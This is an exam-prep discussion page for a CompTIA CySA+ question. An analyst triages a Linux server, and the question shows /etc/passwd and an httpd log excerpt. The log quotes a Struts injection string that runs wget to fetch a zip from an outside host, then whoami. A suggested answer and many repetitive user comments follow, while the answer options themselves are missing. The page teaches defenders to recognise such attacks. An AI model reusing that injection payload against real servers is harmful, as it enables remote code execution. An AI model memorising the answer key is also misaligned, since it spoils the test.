BLACK FRIDAY SALE – Unlock Up to 25% OFF on All Exam Prep! - Ends In 00:00:00 Coupon code: SAVE25
Welcome to Pass4Success

- Free Preparation Discussions

CompTIA CS0-003 Exam - Topic 3 Question 30 Discussion

Posted by Van on Sep 19, 2024 at 04:13 AM

An incident response team member is triaging a Linux server. The output is shown below:

$ cat /etc/passwd

root:x:0:0::/:/bin/zsh

bin:x:1:1::/:/usr/bin/nologin

daemon:x:2:2::/:/usr/bin/nologin

mail:x:8:12::/var/spool/mail:/usr/bin/nologin

http:x:33:33::/srv/http:/bin/bash

nobody:x:65534:65534:Nobody:/:/usr/bin/nologin

git:x:972:972:git daemon user:/:/usr/bin/git-shell

$ cat /var/log/httpd

at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:241)

at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:208)

at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:316)

at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)

WARN [struts2.dispatcher.multipart.JakartaMultipartRequest] Unable to parse request container.getlnstance.(#wget http://grohl.ve.da/tmp/brkgtr.zip;#whoami)

at org.apache.commons.fileupload.FileUploadBase$FileUploadBase$FileItemIteratorImpl.(FileUploadBase.java:947) at org.apache.commons.fileupload.FileUploadBase.getItemiterator(FileUploadBase.java:334)

at org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultiPartRequest.java:188) org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultipartRequest.java:423)

Which of the following is the adversary most likely trying to do?

Suggested Answer: B

The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.


Get Premium CS0-003 Questions as Interactive Web-Based Practice Test or PDF Real Exam Format Detailed Explanations Instant Access Get Your Practice Test
44 comments · newest first
FR
Frederica 12 months ago
Why would they use wget for that? Seems odd.
GI
Gianna 1 year ago
I think it's more about sending a beacon, not a backdoor.
RO
Roxane 1 year ago
Wait, is that a backdoor attempt with zsh? Sounds sketchy.
FR
Frank 1 year ago
Definitely B, that service account is wide open!
GU
Gussie 1 year ago
Looks like they're trying to execute commands via the http user.
JE
Jettie 1 year ago
I think the warning about parsing requests indicates some sort of exploitation attempt, but I can't recall if that directly relates to a denial-of-service attack.
EV
Evangelina 1 year ago
I feel like the mention of `wget` in the logs could relate to sending something to a server, but I'm not entirely confident if that means a beacon or something else.
MI
Miesha 1 year ago
The log output seems to suggest some sort of command execution attempt. I think option B about executing commands through an unsecured service account might be the right choice.
GL
Glynda 1 year ago
I remember we discussed how the `/etc/passwd` file can indicate user accounts, but I'm not sure if the zsh shell is a sign of a backdoor.
AM
Amira 1 year ago
This one's got me a bit stumped. The log entries look concerning, but I'm not totally confident in my analysis. I'll have to think this through carefully.
CH
Chandra 1 year ago
The output seems to indicate some kind of attempted remote code execution. I'm not entirely sure, but I'll go with option B to be on the safe side.
MO
Mose 1 year ago
Okay, I see the attempt to execute commands through the web server. That's definitely the most likely scenario here. I'll select option B.
CA
Carri 1 year ago
Hmm, the /etc/passwd file shows some unusual user accounts, and the Apache log has a suspicious-looking request. I think I'll go with option B.
TY
Tyisha 1 year ago
This looks like a tricky one. I'll need to carefully analyze the output to determine what the adversary is trying to do.
BU
Buck 1 year ago
Hmm, I'm not totally sure about this one. I'll have to think it through carefully to make sure I don't miss anything.
WA
Wava 2 years ago
I bet the adversary is trying to 'git' their hands on the server. Get it? Git? Oh, come on, that was a good one!
TH
Therese 2 years ago
↳ replying to Wava
Agreed. Let's focus on securing the server and identifying any suspicious activity.
KA
Kayleigh 2 years ago
↳ replying to Wava
That's a possibility. We should investigate further to prevent any potential damage.
RE
Reena 2 years ago
↳ replying to Wava
I think they might be trying to execute commands through an unsecured service account.
TR
Trinidad 2 years ago
↳ replying to Wava
Haha, good one! But seriously, we need to figure out what the adversary is up to.
SH
Shakira 2 years ago
Denial-of-service attack on the web server? Pff, that's so 2005. Let's see some real hacking skills here, people.
JU
Jules 2 years ago
↳ replying to Shakira
Which of the following is the adversary most likely trying to do?
TR
Tresa 2 years ago
↳ replying to Shakira
Creating a backdoor root account named zsh could also be a possibility. We need to be vigilant and consider all options.
RA
Raelene 2 years ago
↳ replying to Shakira
Which of the following is the adversary most likely trying to do?
SO
Socorro 2 years ago
↳ replying to Shakira
Which of the following is the adversary most likely trying to do?
FI
Filiberto 2 years ago
↳ replying to Shakira
I agree, executing commands through an unsecured service account seems more like what the adversary is trying to do in this case.
LI
Lindsey 2 years ago
↳ replying to Shakira
Yeah, denial-of-service attacks are old news. Real hackers go for more sophisticated techniques.
OZ
Ozell 2 years ago
A backdoor root account named zsh? That's just lazy. At least try to be a little more creative with your attacks, buddy.
AL
Alona 2 years ago
↳ replying to Ozell
We should definitely investigate further and secure the server.
DA
Daron 2 years ago
↳ replying to Ozell
Yeah, they're probably trying to gain access and control the server.
RE
Renay 2 years ago
↳ replying to Ozell
Looks like they're trying to execute commands through the http service account.
NA
Na 2 years ago
↳ replying to Ozell
Agreed, using a common username like 'root' is a dead giveaway.
PE
Pearlene 2 years ago
Wow, a beacon to a command-and-control server? This incident just got a whole lot more serious. We need to act fast!
YU
Yuki 2 years ago
↳ replying to Pearlene
Let's make sure to isolate the server from the network to prevent further damage.
LA
Laquita 2 years ago
↳ replying to Pearlene
I agree, we should also check for any other signs of compromise on the server.
LO
Louann 2 years ago
↳ replying to Pearlene
We need to analyze the situation carefully before taking any action.
TR
Trinidad 2 years ago
I believe the adversary is trying to execute commands through an unsecured service account.
EU
Eun 2 years ago
I agree with Kaycee, it seems like the most likely scenario based on the output.
DE
Delfina 2 years ago
Hmm, looks like someone's trying to execute commands through an unsecured service account. That's not good news at all.
AV
Avery 2 years ago
↳ replying to Delfina
We need to act fast to prevent any further damage to the server.
SH
Sharmaine 2 years ago
↳ replying to Delfina
I'll check the logs to see if there are any other suspicious activities going on.
AM
Amina 2 years ago
↳ replying to Delfina
We should investigate further to see what commands they are trying to run.
CO
Cornell 2 years ago
↳ replying to Delfina
I agree, it seems like they are trying to exploit the http service account.
KA
Kaycee 2 years ago
I think the adversary is trying to create a backdoor root account named zsh.
0/2000 characters

Save Cancel